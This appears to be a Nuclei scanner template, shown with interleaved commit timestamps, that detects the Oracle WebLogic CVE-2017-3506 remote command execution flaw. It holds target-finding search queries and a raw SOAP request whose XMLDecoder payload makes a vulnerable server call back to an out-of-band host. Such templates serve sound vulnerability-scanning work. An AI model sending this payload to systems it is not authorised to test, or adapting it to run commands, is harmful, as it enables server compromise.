2021-04-26 09:48:57 +00:00
id : CVE-2017-3506
info :
2022-04-21 21:16:41 +00:00
name : Oracle Fusion Middleware Weblogic Server - Remote OS Command Execution
2021-04-26 09:48:57 +00:00
author : pdteam
severity : high
2022-04-22 10:38:41 +00:00
description : The Oracle WebLogic Server component of Oracle Fusion Middleware (Web Services) versions 10.3.6.0, 12.1.3.0, 12.2.1.0, 12.2.1.1 and 12.2.1.2 is susceptible to a difficult to exploit vulnerability that could allow unauthenticated attackers with network access via HTTP to compromise Oracle WebLogic Server.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability allows an attacker to execute arbitrary commands on the target system.
2023-09-06 13:22:34 +00:00
remediation : |
Apply the necessary patches or updates provided by Oracle to fix this vulnerability.
2021-08-18 11:37:49 +00:00
reference :
2021-08-19 14:44:46 +00:00
- https://hackerone.com/reports/810778
- https://nvd.nist.gov/vuln/detail/CVE-2017-3506
2022-05-17 09:18:12 +00:00
- http://www.oracle.com/technetwork/security-advisory/cpuapr2017-3236618.html
2023-07-15 16:29:17 +00:00
- http://www.securitytracker.com/id/1038296
2024-03-23 09:28:19 +00:00
- https://github.com/CVEDB/top
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 7.4
2021-09-10 11:26:40 +00:00
cve-id : CVE-2017-3506
2024-04-08 11:34:33 +00:00
epss-score : 0.96935
epss-percentile : 0.99702
2023-09-06 13:22:34 +00:00
cpe : cpe:2.3:a:oracle:weblogic_server:10.3.6.0.0:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : oracle
product : weblogic_server
2024-05-31 19:23:20 +00:00
shodan-query : http.title:"oracle peoplesoft sign-in"
fofa-query : title="oracle peoplesoft sign-in"
google-query : intitle:"oracle peoplesoft sign-in"
2024-01-14 09:21:50 +00:00
tags : cve,cve2017,rce,oast,hackerone,weblogic,oracle
2021-04-26 09:48:57 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-04-26 09:48:57 +00:00
- raw :
- |
POST /wls-wsat/RegistrationRequesterPortType HTTP/1.1
Host : {{Hostname}}
Content-Type : text/xml
Accept : text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8,
Content-Type : text/xml;charset=UTF-8
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
2021-05-02 13:21:04 +00:00
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8" class="java.beans.XMLDecoder">
<void id="url" class="java.net.URL">
<string>http://{{interactsh-url}}</string>
</void>
<void idref="url">
<void id="stream" method ="openStream"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
2021-04-26 09:48:57 +00:00
matchers :
- type : word
2023-07-11 19:49:27 +00:00
part : interactsh_protocol # Confirms the HTTP Interaction
2021-04-26 09:48:57 +00:00
words :
2021-07-03 19:11:57 +00:00
- "http"
2024-03-25 11:57:16 +00:00
# digest: 4a0a004730450221009af3dc7a023956f425c329f162e8bf603416c546b1876ce01e72ac09119bc24202205406c351433b267b3312803f8f1cd75b9707dfc851008977f33e4db88e70404d:922c64590222798bb761d5b6d8e72950